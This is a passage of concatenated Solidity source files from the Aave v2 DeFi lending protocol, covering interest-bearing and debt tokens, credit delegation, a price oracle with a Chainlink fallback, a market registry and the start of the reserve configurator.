delegatee, uint256 amount) external override { _borrowAllowances[_msgSender()][delegatee] = amount; emit BorrowAllowanceDelegated(_msgSender(), delegatee, _getUnderlyingAssetAddress(), amount); } /** * @dev returns the borrow allowance of the user * @param fromUser The user to giving allowance * @param toUser The user to give allowance to * @return the current allowance of toUser **/ function borrowAllowance(address fromUser, address toUser) external view override returns (uint256) { return _borrowAllowances[fromUser][toUser]; } /** * @dev Being non transferrable, the debt token does not implement any of the * standard ERC20 functions for transfer and allowance. **/ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { recipient; amount; revert('TRANSFER_NOT_SUPPORTED'); } function allowance(address owner, address spender) public view virtual override returns (uint256) { owner; spender; revert('ALLOWANCE_NOT_SUPPORTED'); } function approve(address spender, uint256 amount) public virtual override returns (bool) { spender; amount; revert('APPROVAL_NOT_SUPPORTED'); } function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { sender; recipient; amount; revert('TRANSFER_NOT_SUPPORTED'); } function increaseAllowance(address spender, uint256 addedValue) public virtual override returns (bool) { spender; addedValue; revert('ALLOWANCE_NOT_SUPPORTED'); } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual override returns (bool) { spender; subtractedValue; revert('ALLOWANCE_NOT_SUPPORTED'); } function _decreaseBorrowAllowance( address delegator, address delegatee, uint256 amount ) internal { uint256 newAllowance = _borrowAllowances[delegator][delegatee].sub(amount, Errors.BORROW_ALLOWANCE_NOT_ENOUGH); _borrowAllowances[delegator][delegatee] = newAllowance; emit BorrowAllowanceDelegated(delegator, delegatee, _getUnderlyingAssetAddress(), newAllowance); } function _getUnderlyingAssetAddress() internal view virtual returns (address); function _getLendingPool() internal view virtual returns (ILendingPool); } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; interface ICreditDelegationToken { event BorrowAllowanceDelegated( address indexed fromUser, address indexed toUser, address asset, uint256 amount ); /** * @dev delegates borrowing power to a user on the specific debt token * @param delegatee the address receiving the delegated borrowing power * @param amount the maximum amount being delegated. Delegation will still * respect the liquidation constraints (even if delegated, a delegatee cannot * force a delegator HF to go below 1) **/ function approveDelegation(address delegatee, uint256 amount) external; /** * @dev returns the borrow allowance of the user * @param fromUser The user to giving allowance * @param toUser The user to give allowance to * @return the current allowance of toUser **/ function borrowAllowance(address fromUser, address toUser) external view returns (uint256); } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {Context} from '../../dependencies/openzeppelin/contracts/Context.sol'; import {IERC20} from '../../dependencies/openzeppelin/contracts/IERC20.sol'; import {IERC20Detailed} from '../../dependencies/openzeppelin/contracts/IERC20Detailed.sol'; import {SafeMath} from '../../dependencies/openzeppelin/contracts/SafeMath.sol'; import {IAaveIncentivesController} from '../../interfaces/IAaveIncentivesController.sol'; /** * @title ERC20 * @notice Basic ERC20 implementation * @author Aave, inspired by the Openzeppelin ERC20 implementation **/ abstract contract IncentivizedERC20 is Context, IERC20, IERC20Detailed { using SafeMath for uint256; mapping(address => uint256) internal _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 internal _totalSupply; string private _name; string private _symbol; uint8 private _decimals; constructor( string memory name, string memory symbol, uint8 decimals ) public { _name = name; _symbol = symbol; _decimals = decimals; } /** * @return The name of the token **/ function name() public view override returns (string memory) { return _name; } /** * @return The symbol of the token **/ function symbol() public view override returns (string memory) { return _symbol; } /** * @return The decimals of the token **/ function decimals() public view override returns (uint8) { return _decimals; } /** * @return The total supply of the token **/ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @return The balance of the token **/ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @return Abstract function implemented by the child aToken/debtToken. * Done this way in order to not break compatibility with previous versions of aTokens/debtTokens **/ function _getIncentivesController() internal view virtual returns(IAaveIncentivesController); /** * @dev Executes a transfer of tokens from _msgSender() to recipient * @param recipient The recipient of the tokens * @param amount The amount of tokens being transferred * @return `true` if the transfer succeeds, `false` otherwise **/ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); emit Transfer(_msgSender(), recipient, amount); return true; } /** * @dev Returns the allowance of spender on the tokens owned by owner * @param owner The owner of the tokens * @param spender The user allowed to spend the owner's tokens * @return The amount of owner's tokens spender is allowed to spend **/ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev Allows `spender` to spend the tokens owned by _msgSender() * @param spender The user allowed to spend _msgSender() tokens * @return `true` **/ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev Executes a transfer of token from sender to recipient, if _msgSender() is allowed to do so * @param sender The owner of the tokens * @param recipient The recipient of the tokens * @param amount The amount of tokens being transferred * @return `true` if the transfer succeeds, `false` otherwise **/ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, 'ERC20: transfer amount exceeds allowance') ); emit Transfer(sender, recipient, amount); return true; } /** * @dev Increases the allowance of spender to spend _msgSender() tokens * @param spender The user allowed to spend on behalf of _msgSender() * @param addedValue The amount being added to the allowance * @return `true` **/ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Decreases the allowance of spender to spend _msgSender() tokens * @param spender The user allowed to spend on behalf of _msgSender() * @param subtractedValue The amount being subtracted to the allowance * @return `true` **/ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].sub( subtractedValue, 'ERC20: decreased allowance below zero' ) ); return true; } function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), 'ERC20: transfer from the zero address'); require(recipient != address(0), 'ERC20: transfer to the zero address'); _beforeTokenTransfer(sender, recipient, amount); uint256 oldSenderBalance = _balances[sender]; _balances[sender] = oldSenderBalance.sub(amount, 'ERC20: transfer amount exceeds balance'); uint256 oldRecipientBalance = _balances[recipient]; _balances[recipient] = _balances[recipient].add(amount); if (address(_getIncentivesController()) != address(0)) { uint256 currentTotalSupply = _totalSupply; _getIncentivesController().handleAction(sender, currentTotalSupply, oldSenderBalance); if (sender != recipient) { _getIncentivesController().handleAction(recipient, currentTotalSupply, oldRecipientBalance); } } } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), 'ERC20: mint to the zero address'); _beforeTokenTransfer(address(0), account, amount); uint256 oldTotalSupply = _totalSupply; _totalSupply = oldTotalSupply.add(amount); uint256 oldAccountBalance = _balances[account]; _balances[account] = oldAccountBalance.add(amount); if (address(_getIncentivesController()) != address(0)) { _getIncentivesController().handleAction(account, oldTotalSupply, oldAccountBalance); } } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), 'ERC20: burn from the zero address'); _beforeTokenTransfer(account, address(0), amount); uint256 oldTotalSupply = _totalSupply; _totalSupply = oldTotalSupply.sub(amount); uint256 oldAccountBalance = _balances[account]; _balances[account] = oldAccountBalance.sub(amount, 'ERC20: burn amount exceeds balance'); if (address(_getIncentivesController()) != address(0)) { _getIncentivesController().handleAction(account, oldTotalSupply, oldAccountBalance); } } function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), 'ERC20: approve from the zero address'); require(spender != address(0), 'ERC20: approve to the zero address'); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _setName(string memory newName) internal { _name = newName; } function _setSymbol(string memory newSymbol) internal { _symbol = newSymbol; } function _setDecimals(uint8 newDecimals) internal { _decimals = newDecimals; } function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {VariableDebtToken} from '../../protocol/tokenization/VariableDebtToken.sol'; contract MockVariableDebtToken is VariableDebtToken { function getRevision() internal pure override returns (uint256) { return 0x2; } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {AToken} from '../../protocol/tokenization/AToken.sol'; import {ILendingPool} from '../../interfaces/ILendingPool.sol'; import {IAaveIncentivesController} from '../../interfaces/IAaveIncentivesController.sol'; contract MockAToken is AToken { function getRevision() internal pure override returns (uint256) { return 0x2; } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {IERC20} from '../../dependencies/openzeppelin/contracts/IERC20.sol'; import {SafeERC20} from '../../dependencies/openzeppelin/contracts/SafeERC20.sol'; import {ILendingPool} from '../../interfaces/ILendingPool.sol'; import {IAToken} from '../../interfaces/IAToken.sol'; import {WadRayMath} from '../libraries/math/WadRayMath.sol'; import {Errors} from '../libraries/helpers/Errors.sol'; import {VersionedInitializable} from '../libraries/aave-upgradeability/VersionedInitializable.sol'; import {IncentivizedERC20} from './IncentivizedERC20.sol'; import {IAaveIncentivesController} from '../../interfaces/IAaveIncentivesController.sol'; /** * @title Aave ERC20 AToken * @dev Implementation of the interest bearing token for the Aave protocol * @author Aave */ contract AToken is VersionedInitializable, IncentivizedERC20('ATOKEN_IMPL', 'ATOKEN_IMPL', 0), IAToken { using WadRayMath for uint256; using SafeERC20 for IERC20; bytes public constant EIP712_REVISION = bytes('1'); bytes32 internal constant EIP712_DOMAIN = keccak256('EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)'); bytes32 public constant PERMIT_TYPEHASH = keccak256('Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)'); uint256 public constant ATOKEN_REVISION = 0x1; /// @dev owner => next valid nonce to submit with permit() mapping(address => uint256) public _nonces; bytes32 public DOMAIN_SEPARATOR; ILendingPool internal _pool; address internal _treasury; address internal _underlyingAsset; IAaveIncentivesController internal _incentivesController; modifier onlyLendingPool { require(_msgSender() == address(_pool), Errors.CT_CALLER_MUST_BE_LENDING_POOL); _; } function getRevision() internal pure virtual override returns (uint256) { return ATOKEN_REVISION; } /** * @dev Initializes the aToken * @param pool The address of the lending pool where this aToken will be used * @param treasury The address of the Aave treasury, receiving the fees on this aToken * @param underlyingAsset The address of the underlying asset of this aToken (E.g. WETH for aWETH) * @param incentivesController The smart contract managing potential incentives distribution * @param aTokenDecimals The decimals of the aToken, same as the underlying asset's * @param aTokenName The name of the aToken * @param aTokenSymbol The symbol of the aToken */ function initialize( ILendingPool pool, address treasury, address underlyingAsset, IAaveIncentivesController incentivesController, uint8 aTokenDecimals, string calldata aTokenName, string calldata aTokenSymbol, bytes calldata params ) external override initializer { uint256 chainId; //solium-disable-next-line assembly { chainId := chainid() } DOMAIN_SEPARATOR = keccak256( abi.encode( EIP712_DOMAIN, keccak256(bytes(aTokenName)), keccak256(EIP712_REVISION), chainId, address(this) ) ); _setName(aTokenName); _setSymbol(aTokenSymbol); _setDecimals(aTokenDecimals); _pool = pool; _treasury = treasury; _underlyingAsset = underlyingAsset; _incentivesController = incentivesController; emit Initialized( underlyingAsset, address(pool), treasury, address(incentivesController), aTokenDecimals, aTokenName, aTokenSymbol, params ); } /** * @dev Burns aTokens from `user` and sends the equivalent amount of underlying to `receiverOfUnderlying` * - Only callable by the LendingPool, as extra state updates there need to be managed * @param user The owner of the aTokens, getting them burned * @param receiverOfUnderlying The address that will receive the underlying * @param amount The amount being burned * @param index The new liquidity index of the reserve **/ function burn( address user, address receiverOfUnderlying, uint256 amount, uint256 index ) external override onlyLendingPool { uint256 amountScaled = amount.rayDiv(index); require(amountScaled != 0, Errors.CT_INVALID_BURN_AMOUNT); _burn(user, amountScaled); IERC20(_underlyingAsset).safeTransfer(receiverOfUnderlying, amount); emit Transfer(user, address(0), amount); emit Burn(user, receiverOfUnderlying, amount, index); } /** * @dev Mints `amount` aTokens to `user` * - Only callable by the LendingPool, as extra state updates there need to be managed * @param user The address receiving the minted tokens * @param amount The amount of tokens getting minted * @param index The new liquidity index of the reserve * @return `true` if the the previous balance of the user was 0 */ function mint( address user, uint256 amount, uint256 index ) external override onlyLendingPool returns (bool) { uint256 previousBalance = super.balanceOf(user); uint256 amountScaled = amount.rayDiv(index); require(amountScaled != 0, Errors.CT_INVALID_MINT_AMOUNT); _mint(user, amountScaled); emit Transfer(address(0), user, amount); emit Mint(user, amount, index); return previousBalance == 0; } /** * @dev Mints aTokens to the reserve treasury * - Only callable by the LendingPool * @param amount The amount of tokens getting minted * @param index The new liquidity index of the reserve */ function mintToTreasury(uint256 amount, uint256 index) external override onlyLendingPool { if (amount == 0) { return; } address treasury = _treasury; // Compared to the normal mint, we don't check for rounding errors. // The amount to mint can easily be very small since it is a fraction of the interest ccrued. // In that case, the treasury will experience a (very small) loss, but it // wont cause potentially valid transactions to fail. _mint(treasury, amount.rayDiv(index)); emit Transfer(address(0), treasury, amount); emit Mint(treasury, amount, index); } /** * @dev Transfers aTokens in the event of a borrow being liquidated, in case the liquidators reclaims the aToken * - Only callable by the LendingPool * @param from The address getting liquidated, current owner of the aTokens * @param to The recipient * @param value The amount of tokens getting transferred **/ function transferOnLiquidation( address from, address to, uint256 value ) external override onlyLendingPool { // Being a normal transfer, the Transfer() and BalanceTransfer() are emitted // so no need to emit a specific event here _transfer(from, to, value, false); emit Transfer(from, to, value); } /** * @dev Calculates the balance of the user: principal balance + interest generated by the principal * @param user The user whose balance is calculated * @return The balance of the user **/ function balanceOf(address user) public view override(IncentivizedERC20, IERC20) returns (uint256) { return super.balanceOf(user).rayMul(_pool.getReserveNormalizedIncome(_underlyingAsset)); } /** * @dev Returns the scaled balance of the user. The scaled balance is the sum of all the * updated stored balance divided by the reserve's liquidity index at the moment of the update * @param user The user whose balance is calculated * @return The scaled balance of the user **/ function scaledBalanceOf(address user) external view override returns (uint256) { return super.balanceOf(user); } /** * @dev Returns the scaled balance of the user and the scaled total supply. * @param user The address of the user * @return The scaled balance of the user * @return The scaled balance and the scaled total supply **/ function getScaledUserBalanceAndSupply(address user) external view override returns (uint256, uint256) { return (super.balanceOf(user), super.totalSupply()); } /** * @dev calculates the total supply of the specific aToken * since the balance of every single user increases over time, the total supply * does that too. * @return the current total supply **/ function totalSupply() public view override(IncentivizedERC20, IERC20) returns (uint256) { uint256 currentSupplyScaled = super.totalSupply(); if (currentSupplyScaled == 0) { return 0; } return currentSupplyScaled.rayMul(_pool.getReserveNormalizedIncome(_underlyingAsset)); } /** * @dev Returns the scaled total supply of the variable debt token. Represents sum(debt/index) * @return the scaled total supply **/ function scaledTotalSupply() public view virtual override returns (uint256) { return super.totalSupply(); } /** * @dev Returns the address of the Aave treasury, receiving the fees on this aToken **/ function RESERVE_TREASURY_ADDRESS() public view returns (address) { return _treasury; } /** * @dev Returns the address of the underlying asset of this aToken (E.g. WETH for aWETH) **/ function UNDERLYING_ASSET_ADDRESS() public view returns (address) { return _underlyingAsset; } /** * @dev Returns the address of the lending pool where this aToken is used **/ function POOL() public view returns (ILendingPool) { return _pool; } /** * @dev For internal usage in the logic of the parent contract IncentivizedERC20 **/ function _getIncentivesController() internal view override returns (IAaveIncentivesController) { return _incentivesController; } /** * @dev Returns the address of the incentives controller contract **/ function getIncentivesController() external view override returns (IAaveIncentivesController) { return _getIncentivesController(); } /** * @dev Transfers the underlying asset to `target`. Used by the LendingPool to transfer * assets in borrow(), withdraw() and flashLoan() * @param target The recipient of the aTokens * @param amount The amount getting transferred * @return The amount transferred **/ function transferUnderlyingTo(address target, uint256 amount) external override onlyLendingPool returns (uint256) { IERC20(_underlyingAsset).safeTransfer(target, amount); return amount; } /** * @dev Invoked to execute actions on the aToken side after a repayment. * @param user The user executing the repayment * @param amount The amount getting repaid **/ function handleRepayment(address user, uint256 amount) external override onlyLendingPool {} /** * @dev implements the permit function as for * https://github.com/ethereum/EIPs/blob/8a34d644aacf0f9f8f00815307fd7dd5da07655f/EIPS/eip-2612.md * @param owner The owner of the funds * @param spender The spender * @param value The amount * @param deadline The deadline timestamp, type(uint256).max for max deadline * @param v Signature param * @param s Signature param * @param r Signature param */ function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external { require(owner != address(0), 'INVALID_OWNER'); //solium-disable-next-line require(block.timestamp <= deadline, 'INVALID_EXPIRATION'); uint256 currentValidNonce = _nonces[owner]; bytes32 digest = keccak256( abi.encodePacked( '\x19\x01', DOMAIN_SEPARATOR, keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, currentValidNonce, deadline)) ) ); require(owner == ecrecover(digest, v, r, s), 'INVALID_SIGNATURE'); _nonces[owner] = currentValidNonce.add(1); _approve(owner, spender, value); } /** * @dev Transfers the aTokens between two users. Validates the transfer * (ie checks for valid HF after the transfer) if required * @param from The source address * @param to The destination address * @param amount The amount getting transferred * @param validate `true` if the transfer needs to be validated **/ function _transfer( address from, address to, uint256 amount, bool validate ) internal { address underlyingAsset = _underlyingAsset; ILendingPool pool = _pool; uint256 index = pool.getReserveNormalizedIncome(underlyingAsset); uint256 fromBalanceBefore = super.balanceOf(from).rayMul(index); uint256 toBalanceBefore = super.balanceOf(to).rayMul(index); super._transfer(from, to, amount.rayDiv(index)); if (validate) { pool.finalizeTransfer(underlyingAsset, from, to, amount, fromBalanceBefore, toBalanceBefore); } emit BalanceTransfer(from, to, amount, index); } /** * @dev Overrides the parent _transfer to force validated transfer() and transferFrom() * @param from The source address * @param to The destination address * @param amount The amount getting transferred **/ function _transfer( address from, address to, uint256 amount ) internal override { _transfer(from, to, amount, true); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {ILendingPool} from '../../interfaces/ILendingPool.sol'; import {IDelegationToken} from '../../interfaces/IDelegationToken.sol'; import {Errors} from '../libraries/helpers/Errors.sol'; import {AToken} from './AToken.sol'; /** * @title Aave AToken enabled to delegate voting power of the underlying asset to a different address * @dev The underlying asset needs to be compatible with the COMP delegation interface * @author Aave */ contract DelegationAwareAToken is AToken { modifier onlyPoolAdmin { require( _msgSender() == ILendingPool(_pool).getAddressesProvider().getPoolAdmin(), Errors.CALLER_NOT_POOL_ADMIN ); _; } /** * @dev Delegates voting power of the underlying asset to a `delegatee` address * @param delegatee The address that will receive the delegation **/ function delegateUnderlyingTo(address delegatee) external onlyPoolAdmin { IDelegationToken(_underlyingAsset).delegate(delegatee); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; /** * @title IDelegationToken * @dev Implements an interface for tokens with delegation COMP/UNI compatible * @author Aave **/ interface IDelegationToken { function delegate(address delegatee) external; } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {Ownable} from '../../dependencies/openzeppelin/contracts/Ownable.sol'; import { ILendingPoolAddressesProviderRegistry } from '../../interfaces/ILendingPoolAddressesProviderRegistry.sol'; import {Errors} from '../libraries/helpers/Errors.sol'; /** * @title LendingPoolAddressesProviderRegistry contract * @dev Main registry of LendingPoolAddressesProvider of multiple Aave protocol's markets * - Used for indexing purposes of Aave protocol's markets * - The id assigned to a LendingPoolAddressesProvider refers to the market it is connected with, * for example with `0` for the Aave main market and `1` for the next created * @author Aave **/ contract LendingPoolAddressesProviderRegistry is Ownable, ILendingPoolAddressesProviderRegistry { mapping(address => uint256) private _addressesProviders; address[] private _addressesProvidersList; /** * @dev Returns the list of registered addresses provider * @return The list of addresses provider, potentially containing address(0) elements **/ function getAddressesProvidersList() external view override returns (address[] memory) { address[] memory addressesProvidersList = _addressesProvidersList; uint256 maxLength = addressesProvidersList.length; address[] memory activeProviders = new address[](maxLength); for (uint256 i = 0; i < maxLength; i++) { if (_addressesProviders[addressesProvidersList[i]] > 0) { activeProviders[i] = addressesProvidersList[i]; } } return activeProviders; } /** * @dev Registers an addresses provider * @param provider The address of the new LendingPoolAddressesProvider * @param id The id for the new LendingPoolAddressesProvider, referring to the market it belongs to **/ function registerAddressesProvider(address provider, uint256 id) external override onlyOwner { require(id != 0, Errors.LPAPR_INVALID_ADDRESSES_PROVIDER_ID); _addressesProviders[provider] = id; _addToAddressesProvidersList(provider); emit AddressesProviderRegistered(provider); } /** * @dev Removes a LendingPoolAddressesProvider from the list of registered addresses provider * @param provider The LendingPoolAddressesProvider address **/ function unregisterAddressesProvider(address provider) external override onlyOwner { require(_addressesProviders[provider] > 0, Errors.LPAPR_PROVIDER_NOT_REGISTERED); _addressesProviders[provider] = 0; emit AddressesProviderUnregistered(provider); } /** * @dev Returns the id on a registered LendingPoolAddressesProvider * @return The id or 0 if the LendingPoolAddressesProvider is not registered */ function getAddressesProviderIdByAddress(address addressesProvider) external view override returns (uint256) { return _addressesProviders[addressesProvider]; } function _addToAddressesProvidersList(address provider) internal { uint256 providersCount = _addressesProvidersList.length; for (uint256 i = 0; i < providersCount; i++) { if (_addressesProvidersList[i] == provider) { return; } } _addressesProvidersList.push(provider); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; /** * @title LendingPoolAddressesProviderRegistry contract * @dev Main registry of LendingPoolAddressesProvider of multiple Aave protocol's markets * - Used for indexing purposes of Aave protocol's markets * - The id assigned to a LendingPoolAddressesProvider refers to the market it is connected with, * for example with `0` for the Aave main market and `1` for the next created * @author Aave **/ interface ILendingPoolAddressesProviderRegistry { event AddressesProviderRegistered(address indexed newAddress); event AddressesProviderUnregistered(address indexed newAddress); function getAddressesProvidersList() external view returns (address[] memory); function getAddressesProviderIdByAddress(address addressesProvider) external view returns (uint256); function registerAddressesProvider(address provider, uint256 id) external; function unregisterAddressesProvider(address provider) external; } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {Ownable} from '../dependencies/openzeppelin/contracts/Ownable.sol'; import {IERC20} from '../dependencies/openzeppelin/contracts/IERC20.sol'; import {IPriceOracleGetter} from '../interfaces/IPriceOracleGetter.sol'; import {IChainlinkAggregator} from '../interfaces/IChainlinkAggregator.sol'; import {SafeERC20} from '../dependencies/openzeppelin/contracts/SafeERC20.sol'; /// @title AaveOracle /// @author Aave /// @notice Proxy smart contract to get the price of an asset from a price source, with Chainlink Aggregator /// smart contracts as primary option /// - If the returned price by a Chainlink aggregator is <= 0, the call is forwarded to a fallbackOracle /// - Owned by the Aave governance system, allowed to add sources for assets, replace them /// and change the fallbackOracle contract AaveOracle is IPriceOracleGetter, Ownable { using SafeERC20 for IERC20; event WethSet(address indexed weth); event AssetSourceUpdated(address indexed asset, address indexed source); event FallbackOracleUpdated(address indexed fallbackOracle); mapping(address => IChainlinkAggregator) private assetsSources; IPriceOracleGetter private _fallbackOracle; address public immutable WETH; /// @notice Constructor /// @param assets The addresses of the assets /// @param sources The address of the source of each asset /// @param fallbackOracle The address of the fallback oracle to use if the data of an /// aggregator is not consistent constructor( address[] memory assets, address[] memory sources, address fallbackOracle, address weth ) public { _setFallbackOracle(fallbackOracle); _setAssetsSources(assets, sources); WETH = weth; emit WethSet(weth); } /// @notice External function called by the Aave governance to set or replace sources of assets /// @param assets The addresses of the assets /// @param sources The address of the source of each asset function setAssetSources(address[] calldata assets, address[] calldata sources) external onlyOwner { _setAssetsSources(assets, sources); } /// @notice Sets the fallbackOracle /// - Callable only by the Aave governance /// @param fallbackOracle The address of the fallbackOracle function setFallbackOracle(address fallbackOracle) external onlyOwner { _setFallbackOracle(fallbackOracle); } /// @notice Internal function to set the sources for each asset /// @param assets The addresses of the assets /// @param sources The address of the source of each asset function _setAssetsSources(address[] memory assets, address[] memory sources) internal { require(assets.length == sources.length, 'INCONSISTENT_PARAMS_LENGTH'); for (uint256 i = 0; i < assets.length; i++) { assetsSources[assets[i]] = IChainlinkAggregator(sources[i]); emit AssetSourceUpdated(assets[i], sources[i]); } } /// @notice Internal function to set the fallbackOracle /// @param fallbackOracle The address of the fallbackOracle function _setFallbackOracle(address fallbackOracle) internal { _fallbackOracle = IPriceOracleGetter(fallbackOracle); emit FallbackOracleUpdated(fallbackOracle); } /// @notice Gets an asset price by address /// @param asset The asset address function getAssetPrice(address asset) public view override returns (uint256) { IChainlinkAggregator source = assetsSources[asset]; if (asset == WETH) { return 1 ether; } else if (address(source) == address(0)) { return _fallbackOracle.getAssetPrice(asset); } else { int256 price = IChainlinkAggregator(source).latestAnswer(); if (price > 0) { return uint256(price); } else { return _fallbackOracle.getAssetPrice(asset); } } } /// @notice Gets a list of prices from a list of assets addresses /// @param assets The list of assets addresses function getAssetsPrices(address[] calldata assets) external view returns (uint256[] memory) { uint256[] memory prices = new uint256[](assets.length); for (uint256 i = 0; i < assets.length; i++) { prices[i] = getAssetPrice(assets[i]); } return prices; } /// @notice Gets the address of the source for an asset address /// @param asset The address of the asset /// @return address The address of the source function getSourceOfAsset(address asset) external view returns (address) { return address(assetsSources[asset]); } /// @notice Gets the address of the fallback oracle /// @return address The addres of the fallback oracle function getFallbackOracle() external view returns (address) { return address(_fallbackOracle); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; interface IChainlinkAggregator { function latestAnswer() external view returns (int256); function latestTimestamp() external view returns (uint256); function latestRound() external view returns (uint256); function getAnswer(uint256 roundId) external view returns (int256); function getTimestamp(uint256 roundId) external view returns (uint256); event AnswerUpdated(int256 indexed current, uint256 indexed roundId, uint256 timestamp); event NewRound(uint256 indexed roundId, address indexed startedBy); } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; pragma experimental ABIEncoderV2; import {SafeMath} from '../../dependencies/openzeppelin/contracts/SafeMath.sol'; import {VersionedInitializable} from '../libraries/aave-upgradeability/VersionedInitializable.sol'; import { InitializableImmutableAdminUpgradeabilityProxy } from '../libraries/aave-upgradeability/InitializableImmutableAdminUpgradeabilityProxy.sol'; import {ReserveConfiguration} from '../libraries/configuration/ReserveConfiguration.sol'; import {ILendingPoolAddressesProvider} from '../../interfaces/ILendingPoolAddressesProvider.sol'; import {ILendingPool} from '../../interfaces/ILendingPool.sol'; import {IERC20Detailed} from '../../dependencies/openzeppelin/contracts/IERC20Detailed.sol'; import {Errors} from '../libraries/helpers/Errors.sol'; import {PercentageMath} from '../libraries/math/PercentageMath.sol'; import {DataTypes} from '../libraries/types/DataTypes.sol'; import {IInitializableDebtToken} from '../../interfaces/IInitializableDebtToken.sol'; import {IInitializableAToken} from '../../interfaces/IInitializableAToken.sol'; import {IAaveIncentivesController} from '../../interfaces/IAaveIncentivesController.sol'; import {ILendingPoolConfigurator} from '../../interfaces/ILendingPoolConfigurator.sol'; /** * @title LendingPoolConfigurator contract * @author Aave * @dev Implements the configuration methods for the Aave protocol **/ contract LendingPoolConfigurator is VersionedInitializable, ILendingPoolConfigurator { using SafeMath for uint256; using PercentageMath for uint256; using ReserveConfiguration for DataTypes.ReserveConfigurationMap; ILendingPoolAddressesProvider internal addressesProvider; ILendingPool internal pool; modifier onlyPoolAdmin { require(addressesProvider.getPoolAdmin() == msg.sender, Errors.CALLER_NOT_POOL_ADMIN); _; } modifier onlyEmergencyAdmin { require( addressesProvider.getEmergencyAdmin() == msg.sender, Errors.LPC_CALLER_NOT_EMERGENCY_ADMIN ); _; } uint256 internal constant CONFIGURATOR_REVISION = 0x1; function getRevision() internal pure override returns (uint256) { return CONFIGURATOR_REVISION; } function initialize(ILendingPoolAddressesProvider provider) public initializer { addressesProvider = provider; pool = ILendingPool(addressesProvider.getLendingPool()); } /** * @dev Initializes reserves in batch **/ function batchInitReserve(InitReserveInput[] calldata input) external onlyPoolAdmin { ILendingPool cachedPool = pool; for (uint256 i = 0; i < input.length; i++) { _initReserve(cachedPool, input[i]); } } function _initReserve(ILendingPool pool, InitReserveInput calldata input) internal { address aTokenProxyAddress = _initTokenWithProxy( input.aTokenImpl, abi.encodeWithSelector( IInitializableAToken.initialize.selector, pool, input.treasury, input.underlyingAsset, IAaveIncentivesController(input.incentivesController), input.underlyingAssetDecimals, input.aTokenName, input.aTokenSymbol, input.params ) ); address stableDebtTokenProxyAddress = _initTokenWithProxy( input.stableDebtTokenImpl, abi.encodeWithSelector( IInitializableDebtToken.initialize.selector, pool, input.underlyingAsset, IAaveIncentivesController(input.incentivesController), input.underlyingAssetDecimals, input.stableDebtTokenName, input.stableDebtTokenSymbol, input.params ) ); address variableDebtTokenProxyAddress = _initTokenWithProxy( input.variableDebtTokenImpl, abi.encodeWithSelector( IInitializableDebtToken.initialize.selector, pool, input.underlyingAsset, IAaveIncentivesController(input.incentivesController), input.underlyingAssetDecimals, input.variableDebtTokenName, input.variableDebtTokenSymbol, input.params ) ); pool.initReserve( input.underlyingAsset, aTokenProxyAddress, stableDebtTokenProxyAddress, variableDebtTokenProxyAddress, input.interestRateStrategyAddress ); DataTypes.ReserveConfigurationMap memory currentConfig = pool.getConfiguration(input.underlyingAsset); currentConfig.setDecimals(input.underlyingAssetDecimals); currentConfig.setActive(true); currentConfig.setFrozen(false); pool.setConfiguration(input.underlyingAsset, currentConfig.data); emit ReserveInitialized( input.underlyingAsset, aTokenProxyAddress, stableDebtTokenProxyAddress, variableDebtTokenProxyAddress, input.interestRateStrategyAddress ); } /** * @dev Updates the aToken implementation for the reserve **/ function updateAToken(UpdateATokenInput calldata input) external onlyPoolAdmin { ILendingPool cachedPool = pool; DataTypes.ReserveData memory reserveData = cachedPool.getReserveData(input.asset); (, , , uint256 decimals, ) = cachedPool.getConfiguration(input.asset).getParamsMemory(); bytes memory encodedCall = abi.encodeWithSelector( IInitializableAToken.initialize.selector, cachedPool, input.treasury, input.asset, input.incentivesController, decimals, input.name, input.symbol, input.params ); _upgradeTokenImplementation( reserveData.aTokenAddress, input.implementation, encodedCall ); emit ATokenUpgraded(input.asset, reserveData.aTokenAddress, input.implementation); } /** * @dev Updates the stable debt token implementation for the reserve **/ function updateStableDebtToken(UpdateDebtTokenInput calldata input) external onlyPoolAdmin { ILendingPool cachedPool = pool; DataTypes.ReserveData memory reserveData = cachedPool.getReserveData(input.asset); (, , , uint256 decimals, ) = cachedPool.getConfiguration(input.asset).getParamsMemory(); bytes memory encodedCall = abi.encodeWithSelector( 